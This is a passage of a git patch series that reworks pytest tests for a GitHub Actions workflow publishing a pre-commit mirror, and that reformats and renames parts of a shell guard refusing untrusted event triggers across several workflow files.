github.ref == 'refs/heads/main' && steps.commit.outputs.tags != '' }}", + id="push", + ), + pytest.param( + "๐ŸŽ‰ Create GitHub releases", + "${{ github.ref == 'refs/heads/main' && steps.commit.outputs.tags != '' }}", + id="release", + ), ], ) -def test_format_step_accepts_only_a_clean_second_pass( - tmp_path: Path, - prek_stub: Path, - statuses: str, - accepted: bool, - invocations: int, -) -> None: - result, _ = run_workflow_step( - _WORKFLOW, - "mirror", - "๐Ÿ’… Format generated files", - cwd=tmp_path, - runner_temp=tmp_path, - values=_VALUES, - env={"PREK_STATUSES": statuses, "PATH": f"{prek_stub}:{os.environ['PATH']}"}, - ) - assert (result.returncode == 0) is accepted, result.stderr - assert (tmp_path / "prek-count").read_text().strip() == str(invocations) - - -def test_commit_step_commits_an_unpublished_version(tmp_path: Path) -> None: - _, clone = _remote_with_tag(tmp_path) - (clone / ".version").write_text("1.0.1\n") - result, outputs = run_workflow_step( - _WORKFLOW, - "mirror", - "๐Ÿ”„ Commit mirror changes", - cwd=clone, - runner_temp=tmp_path, - values=_VALUES, - env={}, - ) - assert result.returncode == 0, result.stderr - assert outputs == {"version": "1.0.1"} - assert run(clone, "git", "log", "-1", "--format=%s").stdout.strip() == "Mirror: 1.0.1" - - -def _remote_with_tag(tmp_path: Path) -> tuple[Path, Path]: - remote = tmp_path / "remote.git" - run(tmp_path, "git", "init", "-q", "--bare", str(remote)) - clone = _repository(tmp_path) - run(clone, "git", "remote", "add", "origin", str(remote)) - run(clone, "git", "tag", "v1.0.0") - run(clone, "git", "push", "-q", "origin", "main", "--tags") - return remote, clone - - -def _repository(tmp_path: Path) -> Path: - clone = tmp_path / "clone" - run(tmp_path, "git", "init", "-q", "-b", "main", str(clone)) - run(clone, "git", "config", "user.name", "Mirror test") - run(clone, "git", "config", "user.email", "mirror@example.org") - (clone / ".version").write_text("1.0.0\n") - (clone / "README.md").write_text('rev: "v0.0.0"\n') - run(clone, "git", "add", ".") - run(clone, "git", "commit", "-q", "-m", "Initial mirror") - return clone - - -def test_commit_step_skips_when_regeneration_changes_nothing(tmp_path: Path) -> None: - clone = _repository(tmp_path) - result, outputs = run_workflow_step( - _WORKFLOW, - "mirror", - "๐Ÿ”„ Commit mirror changes", - cwd=clone, - runner_temp=tmp_path, - values=_VALUES, - env={}, - ) - assert result.returncode == 0, result.stderr - assert outputs == {} - - -def test_commit_step_is_a_noop_when_the_published_tree_matches(tmp_path: Path) -> None: - _, clone = _remote_with_tag(tmp_path) - (clone / "README.md").write_text("diverged\n") - run(clone, "git", "commit", "-q", "-am", "Diverge") - head = run(clone, "git", "rev-parse", "HEAD").stdout.strip() - (clone / "README.md").write_text('rev: "v0.0.0"\n') - result, outputs = run_workflow_step( - _WORKFLOW, - "mirror", - "๐Ÿ”„ Commit mirror changes", - cwd=clone, - runner_temp=tmp_path, - values=_VALUES, - env={}, - ) - assert result.returncode == 0, result.stderr - assert "already published with identical mirror content" in result.stdout - assert outputs == {} - assert run(clone, "git", "rev-parse", "HEAD").stdout.strip() == head - - -def test_commit_step_fails_when_the_published_tree_differs(tmp_path: Path) -> None: - _, clone = _remote_with_tag(tmp_path) - head = run(clone, "git", "rev-parse", "HEAD").stdout.strip() - (clone / "README.md").write_text('rev: "v9.9.9"\n') - result, _ = run_workflow_step( - _WORKFLOW, - "mirror", - "๐Ÿ”„ Commit mirror changes", - cwd=clone, - runner_temp=tmp_path, - values=_VALUES, - env={}, - ) - assert result.returncode != 0 - assert "published with a different mirror tree" in result.stderr - assert run(clone, "git", "rev-parse", "HEAD").stdout.strip() == head - - -def test_push_step_publishes_branch_and_tag_together(tmp_path: Path) -> None: - remote, clone = _remote_with_tag(tmp_path) - (clone / ".version").write_text("1.0.1\n") - run(clone, "git", "commit", "-q", "-am", "Mirror: 1.0.1") - result, _ = run_workflow_step( - _WORKFLOW, - "mirror", - "๐Ÿš€ Push mirror commit and tag", - cwd=clone, - runner_temp=tmp_path, - values=_VALUES, - env={"VERSION": "1.0.1"}, - ) - assert result.returncode == 0, result.stderr - head = run(clone, "git", "rev-parse", "HEAD").stdout.strip() - assert run(tmp_path, "git", "--git-dir", str(remote), "rev-parse", "main").stdout.strip() == head - assert run(tmp_path, "git", "--git-dir", str(remote), "rev-parse", "v1.0.1^{commit}").stdout.strip() == head +def test_step_runs_only_when_its_precondition_holds(workflow: JsonObject, name: str, condition: str) -> None: + assert step(workflow, "mirror", name)["if"] == condition def test_push_is_atomic_and_never_forces(workflow: JsonObject) -> None: - push = text(step(workflow, "mirror", "๐Ÿš€ Push mirror commit and tag")["run"]) + push = text(step(workflow, "mirror", "๐Ÿš€ Push mirror commits and tags")["run"]) assert "--atomic" in push assert "--force" not in push assert " -f " not in push @@ -223,14 +136,248 @@ def test_concurrency_queues_mirror_runs(workflow: JsonObject) -> None: } +@pytest.fixture +def origin(tmp_path: Path) -> Path: + remote = tmp_path / "origin.git" + run(tmp_path, "git", "init", "-q", "--bare", "-b", "main", str(remote)) + return remote + + +@pytest.fixture +def clone(tmp_path: Path, origin: Path) -> Path: + clone = tmp_path / "clone" + run(tmp_path, "git", "init", "-q", "-b", "main", str(clone)) + (clone / ".version").write_text("1.0.0\n") + (clone / "README.md").write_text('rev: "v1.0.0"\n') + run(clone, "git", "add", ".") + _commit(clone, "Initial mirror") + run(clone, "git", "remote", "add", "origin", str(origin)) + run(clone, "git", "push", "-q", "origin", "main") + return clone + + +def _commit(clone: Path, message: str) -> None: + run( + clone, + "git", + "-c", + "user.name=Mirror test", + "-c", + "user.email=mirror@example.org", + "commit", + "-q", + "-a", + "-m", + message, + ) + + +@pytest.fixture +def tools(tmp_path: Path) -> Path: + bin_dir = tmp_path / "bin" + bin_dir.mkdir() + uvx = bin_dir / "uvx" + uvx.write_text( + """\ +#!/usr/bin/env bash +case " $* " in +*pre-commit-mirror-maker*) + current=$(cat .version) + applying=false + for version in $MIRROR_UPSTREAM; do + if [[ "$applying" == false ]]; then + if [[ "$version" == "$current" ]]; then applying=true; fi + continue + fi + echo "$version" >.version + git add . + git commit -q -m "Mirror: $version" + git tag "v$version" + done + ;; +*) + count=$(cat "$RUNNER_TEMP/prek-count" 2>/dev/null || echo 0) + echo $((count + 1)) >"$RUNNER_TEMP/prek-count" + if [[ "$count" == 0 && -n "${PREK_REWRITE:-}" ]]; then echo formatted >>"$PREK_REWRITE"; fi + read -r -a statuses <<<"$PREK_STATUSES" + exit "${statuses[count]}" + ;; +esac +""" + ) + gh = bin_dir / "gh" + gh.write_text('#!/usr/bin/env bash\necho "$*" >>"$RUNNER_TEMP/gh.log"\n') + for script in (uvx, gh): + script.chmod(0o755) + return bin_dir + + @pytest.mark.parametrize( - "name", + ("statuses", "accepted", "invocations"), [ - pytest.param("๐Ÿš€ Push mirror commit and tag", id="push"), - pytest.param("๐ŸŽ‰ Create GitHub release", id="release"), + pytest.param("0", True, 1, id="clean-tree"), + pytest.param("1 0", True, 2, id="rewritten-then-clean"), + pytest.param("1 1", False, 2, id="rewritten-then-failing"), + pytest.param("2", False, 1, id="hook-crashed"), ], ) -def test_release_steps_run_only_on_main_pushes(workflow: JsonObject, name: str) -> None: - assert step(workflow, "mirror", name)["if"] == ( - "${{ github.ref == 'refs/heads/main' && steps.commit.outputs.version != '' }}" +def test_format_step_accepts_only_a_clean_second_pass( + tmp_path: Path, + tools: Path, + statuses: str, + accepted: bool, + invocations: int, +) -> None: + result, _ = _step(tmp_path, tmp_path, tools, "๐Ÿ’… Format generated files", PREK_STATUSES=statuses) + assert (result.returncode == 0) is accepted, result.stderr + assert (tmp_path / "prek-count").read_text().strip() == str(invocations) + + +def test_no_new_version_is_a_noop(tmp_path: Path, clone: Path, tools: Path) -> None: + head = _rev(clone, "HEAD") + _ok(clone, tmp_path / "runner", tools, "โš™๏ธ Configure Git identity") + outputs = _ok(clone, tmp_path / "runner", tools, "๐Ÿชž Generate mirror", MIRROR_UPSTREAM="1.0.0") + assert outputs == {"base": head, "mirrored": "false"} + + +def _rev(directory: Path, revision: str) -> str: + return run(directory, "git", "rev-parse", revision).stdout.strip() + + +def _ok(clone: Path, runner: Path, tools: Path, name: str, **env: str) -> dict[str, str]: + result, outputs = _step(clone, runner, tools, name, **env) + assert result.returncode == 0, result.stderr + return outputs + + +def _step( + clone: Path, + runner: Path, + tools: Path, + name: str, + **env: str, +) -> tuple[subprocess.CompletedProcess[str], dict[str, str]]: + runner.mkdir(exist_ok=True) + return run_workflow_step( + _WORKFLOW, + "mirror", + name, + cwd=clone, + runner_temp=runner, + values=_VALUES, + env={"PATH": f"{tools}:{os.environ['PATH']}"} | env, ) + + +@pytest.mark.parametrize("scenario", _SCENARIOS) +def test_commit_outputs_every_new_tag(tmp_path: Path, clone: Path, tools: Path, scenario: _Scenario) -> None: + result, outputs = _commit_mirror(clone, tmp_path / "runner", tools, scenario) + assert result.returncode == 0, result.stderr + assert outputs == {"tags": " ".join(scenario.tags)} + + +def _commit_mirror( + clone: Path, + runner: Path, + tools: Path, + scenario: _Scenario, +) -> tuple[subprocess.CompletedProcess[str], dict[str, str]]: + stub = { + "MIRROR_UPSTREAM": scenario.upstream, + "PREK_STATUSES": scenario.statuses, + "PREK_REWRITE": "README.md" if scenario.rewrite else "", + } + _ok(clone, runner, tools, "โš™๏ธ Configure Git identity") + generated = _ok(clone, runner, tools, "๐Ÿชž Generate mirror", **stub) + _ok(clone, runner, tools, "๐Ÿ“ Update README with current version", **stub) + _ok(clone, runner, tools, "๐Ÿ’… Format generated files", **stub) + return _step(clone, runner, tools, "๐Ÿ”„ Commit mirror changes", BASE=generated["base"], **stub) + + +@pytest.mark.parametrize("scenario", _SCENARIOS) +def test_commit_keeps_one_commit_per_version(tmp_path: Path, clone: Path, tools: Path, scenario: _Scenario) -> None: + base = _rev(clone, "HEAD") + _commit_mirror(clone, tmp_path / "runner", tools, scenario) + assert _log(clone, base, "%s") == [f"Mirror: {tag.removeprefix('v')}" for tag in scenario.tags] + + +def _log(clone: Path, base: str, pretty: str) -> list[str]: + return run(clone, "git", "log", "--reverse", f"--format={pretty}", f"{base}..HEAD").stdout.splitlines() + + +@pytest.mark.parametrize("scenario", _SCENARIOS) +def test_commit_is_authored_by_the_bot(tmp_path: Path, clone: Path, tools: Path, scenario: _Scenario) -> None: + base = _rev(clone, "HEAD") + _commit_mirror(clone, tmp_path / "runner", tools, scenario) + assert set(_log(clone, base, "%an")) == {"Github Actions"} + + +@pytest.mark.parametrize("scenario", _SCENARIOS) +def test_newest_tag_points_at_the_final_tree(tmp_path: Path, clone: Path, tools: Path, scenario: _Scenario) -> None: + _commit_mirror(clone, tmp_path / "runner", tools, scenario) + assert _rev(clone, f"{scenario.tags[-1]}^{{tree}}") == _rev(clone, "HEAD^{tree}") + + +@pytest.mark.parametrize("scenario", _SCENARIOS) +def test_formatting_lands_in_the_newest_commit(tmp_path: Path, clone: Path, tools: Path, scenario: _Scenario) -> None: + _commit_mirror(clone, tmp_path / "runner", tools, scenario) + readme = run(clone, "git", "show", "HEAD:README.md").stdout + assert ("formatted" in readme) is scenario.rewrite + + +@pytest.mark.parametrize("scenario", _SCENARIOS) +def test_published_tags_reach_origin_with_the_branch( + tmp_path: Path, + clone: Path, + origin: Path, + tools: Path, + scenario: _Scenario, +) -> None: + _publish(clone, tmp_path / "runner", tools, scenario) + expected = {"refs/heads/main": _rev(clone, "HEAD")} + expected |= {f"refs/tags/{tag}": _rev(clone, f"{tag}^{{commit}}") for tag in scenario.tags} + assert _remote_refs(origin) == expected + + +def _remote_refs(origin: Path) -> dict[str, str]: + lines = run(origin, "git", "for-each-ref", "--format=%(refname) %(objectname)").stdout.splitlines() + return {ref: sha for ref, sha in (line.split() for line in lines)} + + +def _publish(clone: Path, runner: Path, tools: Path, scenario: _Scenario) -> None: + result, outputs = _commit_mirror(clone, runner, tools, scenario) + assert result.returncode == 0, result.stderr + _ok(clone, runner, tools, "๐Ÿš€ Push mirror commits and tags", TAGS=outputs["tags"]) + _ok(clone, runner, tools, "๐ŸŽ‰ Create GitHub releases", TAGS=outputs["tags"]) + + +@pytest.mark.parametrize("scenario", _SCENARIOS) +def test_each_new_tag_gets_a_release(tmp_path: Path, clone: Path, tools: Path, scenario: _Scenario) -> None: + _publish(clone, tmp_path / "runner", tools, scenario) + releases = (tmp_path / "runner" / "gh.log").read_text().splitlines() + assert releases == [f"release create {tag} --generate-notes" for tag in scenario.tags] + + +def test_identical_published_tag_is_skipped(tmp_path: Path, clone: Path, tools: Path) -> None: + result, _ = _commit_mirror(clone, tmp_path / "first", tools, _ONE_VERSION) + assert result.returncode == 0, result.stderr + run(clone, "git", "push", "-q", "origin", "refs/tags/v1.0.1") + run(clone, "git", "reset", "-q", "--hard", "origin/main") + run(clone, "git", "tag", "-d", "v1.0.1") + result, outputs = _commit_mirror(clone, tmp_path / "second", tools, _ONE_VERSION) + assert result.returncode == 0, result.stderr + assert outputs == {"tags": ""} + assert "v1.0.1 is already published with identical mirror content" in result.stdout + + +def test_different_published_tag_fails(tmp_path: Path, clone: Path, tools: Path) -> None: + run(clone, "git", "checkout", "-q", "-b", "diverged") + (clone / "README.md").write_text("diverged\n") + _commit(clone, "Diverge") + run(clone, "git", "tag", "v1.0.1") + run(clone, "git", "push", "-q", "origin", "refs/tags/v1.0.1") + run(clone, "git", "tag", "-d", "v1.0.1") + run(clone, "git", "checkout", "-q", "main") + result, _ = _commit_mirror(clone, tmp_path / "runner", tools, _ONE_VERSION) + assert result.returncode == 1 + assert "v1.0.1 is published with a different mirror tree" in result.stderr From f786a9bf5fecc2e032d7f1cfabbab099004c6577 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 19:47:50 -0800 Subject: [PATCH 36/38] =?UTF-8?q?=F0=9F=8E=A8=20style(workflows):=20shfmt-?= =?UTF-8?q?format=20the=20refusal=20guard?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The inline shell check runs shfmt with two-space indentation and does not indent case patterns. Reformat the case blocks of the six writer guards to match. --- .github/workflows/github-release.yaml | 8 ++++---- .github/workflows/latex-to-pages.yaml | 8 ++++---- .github/workflows/open-maintenance-pr.yaml | 8 ++++---- .github/workflows/prepare-release-creator.yaml | 8 ++++---- .github/workflows/prepare-towncrier-release.yaml | 8 ++++---- .github/workflows/publish-pre-commit-mirror.yaml | 8 ++++---- 6 files changed, 24 insertions(+), 24 deletions(-) diff --git a/.github/workflows/github-release.yaml b/.github/workflows/github-release.yaml index d16d395..b512edc 100644 --- a/.github/workflows/github-release.yaml +++ b/.github/workflows/github-release.yaml @@ -52,10 +52,10 @@ jobs: EVENT_NAME: ${{ github.event_name }} run: | case "$EVENT_NAME" in - pull_request | pull_request_target | workflow_run | issue_comment | merge_group) - echo "::error::writer job refuses $EVENT_NAME callers; call it from push, schedule, workflow_dispatch or release" - exit 1 - ;; + pull_request | pull_request_target | workflow_run | issue_comment | merge_group) + echo "::error::writer job refuses $EVENT_NAME callers; call it from push, schedule, workflow_dispatch or release" + exit 1 + ;; esac - name: ๐Ÿ“ฉ Download distributions id: distributions diff --git a/.github/workflows/latex-to-pages.yaml b/.github/workflows/latex-to-pages.yaml index a0a17f0..5c9a481 100644 --- a/.github/workflows/latex-to-pages.yaml +++ b/.github/workflows/latex-to-pages.yaml @@ -72,10 +72,10 @@ jobs: EVENT_NAME: ${{ github.event_name }} run: | case "$EVENT_NAME" in - pull_request | pull_request_target | workflow_run | issue_comment | merge_group) - echo "::error::writer job refuses $EVENT_NAME callers; call it from push, schedule, workflow_dispatch or release" - exit 1 - ;; + pull_request | pull_request_target | workflow_run | issue_comment | merge_group) + echo "::error::writer job refuses $EVENT_NAME callers; call it from push, schedule, workflow_dispatch or release" + exit 1 + ;; esac - name: ๐Ÿ“ฅ Check out repository uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 diff --git a/.github/workflows/open-maintenance-pr.yaml b/.github/workflows/open-maintenance-pr.yaml index b39efa6..9098afa 100644 --- a/.github/workflows/open-maintenance-pr.yaml +++ b/.github/workflows/open-maintenance-pr.yaml @@ -149,10 +149,10 @@ jobs: EVENT_NAME: ${{ github.event_name }} run: | case "$EVENT_NAME" in - pull_request | pull_request_target | workflow_run | issue_comment | merge_group) - echo "::error::writer job refuses $EVENT_NAME callers; call it from push, schedule, workflow_dispatch or release" - exit 1 - ;; + pull_request | pull_request_target | workflow_run | issue_comment | merge_group) + echo "::error::writer job refuses $EVENT_NAME callers; call it from push, schedule, workflow_dispatch or release" + exit 1 + ;; esac - name: ๐Ÿ“ฅ Check out repository uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 diff --git a/.github/workflows/prepare-release-creator.yaml b/.github/workflows/prepare-release-creator.yaml index f16cb10..93ca36a 100644 --- a/.github/workflows/prepare-release-creator.yaml +++ b/.github/workflows/prepare-release-creator.yaml @@ -248,10 +248,10 @@ jobs: EVENT_NAME: ${{ github.event_name }} run: | case "$EVENT_NAME" in - pull_request | pull_request_target | workflow_run | issue_comment | merge_group) - echo "::error::writer job refuses $EVENT_NAME callers; call it from push, schedule, workflow_dispatch or release" - exit 1 - ;; + pull_request | pull_request_target | workflow_run | issue_comment | merge_group) + echo "::error::writer job refuses $EVENT_NAME callers; call it from push, schedule, workflow_dispatch or release" + exit 1 + ;; esac - name: ๐Ÿ“ฉ Download release patch id: patch diff --git a/.github/workflows/prepare-towncrier-release.yaml b/.github/workflows/prepare-towncrier-release.yaml index 78dcdd3..6404c05 100644 --- a/.github/workflows/prepare-towncrier-release.yaml +++ b/.github/workflows/prepare-towncrier-release.yaml @@ -111,10 +111,10 @@ jobs: EVENT_NAME: ${{ github.event_name }} run: | case "$EVENT_NAME" in - pull_request | pull_request_target | workflow_run | issue_comment | merge_group) - echo "::error::writer job refuses $EVENT_NAME callers; call it from push, schedule, workflow_dispatch or release" - exit 1 - ;; + pull_request | pull_request_target | workflow_run | issue_comment | merge_group) + echo "::error::writer job refuses $EVENT_NAME callers; call it from push, schedule, workflow_dispatch or release" + exit 1 + ;; esac - name: ๐Ÿ“ฅ Check out repository uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 diff --git a/.github/workflows/publish-pre-commit-mirror.yaml b/.github/workflows/publish-pre-commit-mirror.yaml index b98cde1..ca597d8 100644 --- a/.github/workflows/publish-pre-commit-mirror.yaml +++ b/.github/workflows/publish-pre-commit-mirror.yaml @@ -35,10 +35,10 @@ jobs: EVENT_NAME: ${{ github.event_name }} run: | case "$EVENT_NAME" in - pull_request | pull_request_target | workflow_run | issue_comment | merge_group) - echo "::error::writer job refuses $EVENT_NAME callers; call it from push, schedule, workflow_dispatch or release" - exit 1 - ;; + pull_request | pull_request_target | workflow_run | issue_comment | merge_group) + echo "::error::writer job refuses $EVENT_NAME callers; call it from push, schedule, workflow_dispatch or release" + exit 1 + ;; esac - name: ๐Ÿ“ฅ Check out repository uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 From d1127cd86dd55ffa058e7cc60ea4269d692c9f68 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 19:48:43 -0800 Subject: [PATCH 37/38] =?UTF-8?q?=E2=9C=85=20test(mirror):=20expect=20the?= =?UTF-8?q?=20refusal=20guard=20first?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The step-order test predates the writer guard, which now runs before the checkout in the mirror job. --- tests/publish_pre_commit_mirror/test_mirror.py | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/publish_pre_commit_mirror/test_mirror.py b/tests/publish_pre_commit_mirror/test_mirror.py index e326fc2..c05d319 100644 --- a/tests/publish_pre_commit_mirror/test_mirror.py +++ b/tests/publish_pre_commit_mirror/test_mirror.py @@ -51,6 +51,7 @@ def workflow() -> JsonObject: def test_steps_run_in_order(workflow: JsonObject) -> None: assert [item["name"] for item in steps(workflow, "mirror")] == [ + "๐Ÿšซ Refuse untrusted caller event", "๐Ÿ“ฅ Check out repository", "๐Ÿ“ฆ Install uv", "โš™๏ธ Configure Git identity", From ffb3ab8ab3e44a486e7e8c3bdf460b0ed5985f79 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 19:53:08 -0800 Subject: [PATCH 38/38] =?UTF-8?q?=F0=9F=90=9B=20fix(mirror):=20name=20the?= =?UTF-8?q?=20pushed=20tags=20NEW=5FTAGS?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .github/workflows/publish-pre-commit-mirror.yaml | 8 ++++---- tests/publish_pre_commit_mirror/test_mirror.py | 4 ++-- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.github/workflows/publish-pre-commit-mirror.yaml b/.github/workflows/publish-pre-commit-mirror.yaml index ca597d8..0323732 100644 --- a/.github/workflows/publish-pre-commit-mirror.yaml +++ b/.github/workflows/publish-pre-commit-mirror.yaml @@ -161,10 +161,10 @@ jobs: if: ${{ github.ref == 'refs/heads/main' && steps.commit.outputs.tags != '' }} env: GH_TOKEN: ${{ github.token }} - TAGS: ${{ steps.commit.outputs.tags }} + NEW_TAGS: ${{ steps.commit.outputs.tags }} run: | set -euo pipefail - read -r -a tags <<<"$TAGS" + read -r -a tags <<<"$NEW_TAGS" refs=() for tag in "${tags[@]}"; do refs+=("refs/tags/$tag"); done git push --atomic origin HEAD:refs/heads/main "${refs[@]}" @@ -172,10 +172,10 @@ jobs: if: ${{ github.ref == 'refs/heads/main' && steps.commit.outputs.tags != '' }} env: GH_TOKEN: ${{ github.token }} - TAGS: ${{ steps.commit.outputs.tags }} + NEW_TAGS: ${{ steps.commit.outputs.tags }} run: | set -euo pipefail - read -r -a tags <<<"$TAGS" + read -r -a tags <<<"$NEW_TAGS" for tag in "${tags[@]}"; do gh release create "$tag" --generate-notes done diff --git a/tests/publish_pre_commit_mirror/test_mirror.py b/tests/publish_pre_commit_mirror/test_mirror.py index c05d319..8a4f54b 100644 --- a/tests/publish_pre_commit_mirror/test_mirror.py +++ b/tests/publish_pre_commit_mirror/test_mirror.py @@ -348,8 +348,8 @@ def _remote_refs(origin: Path) -> dict[str, str]: def _publish(clone: Path, runner: Path, tools: Path, scenario: _Scenario) -> None: result, outputs = _commit_mirror(clone, runner, tools, scenario) assert result.returncode == 0, result.stderr - _ok(clone, runner, tools, "๐Ÿš€ Push mirror commits and tags", TAGS=outputs["tags"]) - _ok(clone, runner, tools, "๐ŸŽ‰ Create GitHub releases", TAGS=outputs["tags"]) + _ok(clone, runner, tools, "๐Ÿš€ Push mirror commits and tags", NEW_TAGS=outputs["tags"]) + _ok(clone, runner, tools, "๐ŸŽ‰ Create GitHub releases", NEW_TAGS=outputs["tags"]) @pytest.mark.parametrize("scenario", _SCENARIOS)